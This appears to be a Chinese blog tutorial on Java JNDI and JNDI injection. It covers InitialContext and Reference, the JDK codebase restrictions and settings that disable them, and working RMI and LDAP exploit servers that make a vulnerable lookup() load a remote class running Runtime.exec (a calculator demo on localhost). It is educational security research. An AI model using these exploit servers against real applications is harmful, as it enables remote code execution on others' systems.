时间:2023-01-24 10:49:12 | 栏目:JAVA代码 | 点击:次
JNDI(Java Naming and Directory Interface)
是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)
,JNDI
可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
其实简单看简介会有点感觉JNDI类似于RMI中的Registry,将其中某一命名服务和相应对象进行绑定,当需要调用这个对象中的方法时,通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件,而不用频繁修改代码。
平常使用JNDI注入攻击时常用的就是RMI和LDAP。并且关于这两种协议的使用还有些限制,这也会在本文后面提到。
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
这个点用到的也比较多,下面会详细讲。
主要是一些常用类和常见方法的小结,copy自nice_0e3师傅文章
构造方法:
InitialContext() 构建一个初始上下文。 InitialContext(boolean lazy) 构造一个初始上下文,并选择不初始化它。 InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文。 InitialContext initialContext = new InitialContext();
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
常用方法:
bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
代码:
String url = "http://127.0.0.1:8080"; Reference reference = new Reference("test", "test", url);
参数1:className
- 远程加载时所使用的类名
参数2:classFactory
- 加载的class
中需要实例化类的名称
参数3:classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
协议
常用方法:
void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。 void add(RefAddr addr) 将地址添加到地址列表的末尾。 void clear() 从此引用中删除所有地址。 RefAddr get(int posn) 检索索引posn上的地址。 RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。 Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。 String getClassName() 检索引用引用的对象的类名。 String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。 String getFactoryClassName() 检索此引用引用对象的工厂的类名。 Object remove(int posn) 从地址列表中删除索引posn上的地址。 int size() 检索此引用中的地址数。 String toString() 生成此引用的字符串表示形式。
下面看一段代码,是一段易受JNDI注入攻击的demo
主要是调用的lookup
方法中url
参数可控,那么可能会导致JNDI注入漏洞的产生。
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIDemo { public void Jndi(String url) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
限制条件:
在RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121
开始java.rmi.server.useCodebaseOnly
默认配置已经改为了true
。JDK 6u132, JDK 7u122, JDK 8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值已改为了false
。本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JNDIServer
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIServer { public static void main(String[] args) throws NamingException { String url = "rmi://127.0.0.1:1099/ExportObject"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
JNDIExploitServer
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Arrays; public class JNDIExploitServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { //创建Registry Registry registry = LocateRegistry.createRegistry(1099); String url = "http://127.0.0.1:8080/"; // 实例化一个Reference尝试为远程对象构造一个引用 Reference reference = new Reference("ExploitObject", "ExploitObject", url); // 强转成ReferenceWrapper,因为Reference并没有继承Remote接口,不能直接注册到Registry中 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("ExportObject", referenceWrapper); System.out.println("Registry&Server Start ..."); //打印别名 System.out.println("Registry List: " + Arrays.toString(registry.list())); } }
ExploitObject
public class ExploitObject { static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { System.out.println("Calc Running ..."); } }
先启动恶意的JNDIExploitServer,然后运行JNDIServer,当调用initialContext.lookup(url)
方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper
,而referenceWrapper
为远程对象ExploitObject
的引用,所以最终实例化的是ExploitObject
从而触发静态代码块执行达到任意代码执行的目的。
在此期间遇到了几个坑点,记录一下:
package com.zh1z3ven.jndi
),指定版本javac编译命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java
这里的限制是在8u191之前
copy一段LDAP的Server端代码
LdapServer
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) { String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
JNDIServer2
public class JNDIServer2 { public static void main(String[] args) throws NamingException { String url = "ldap://127.0.0.1:7777/ExploitObject"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
ExploitObject
public class ExploitObject { static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { System.out.println("Calc Running ..."); } }
如何绕过高版本 JDK 的限制进行 JNDI 注入利用:https://paper.seebug.org/942/
javasec
https://www.cnblogs.com/nice0e3/p/13958047.html
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://paper.seebug.org/1091/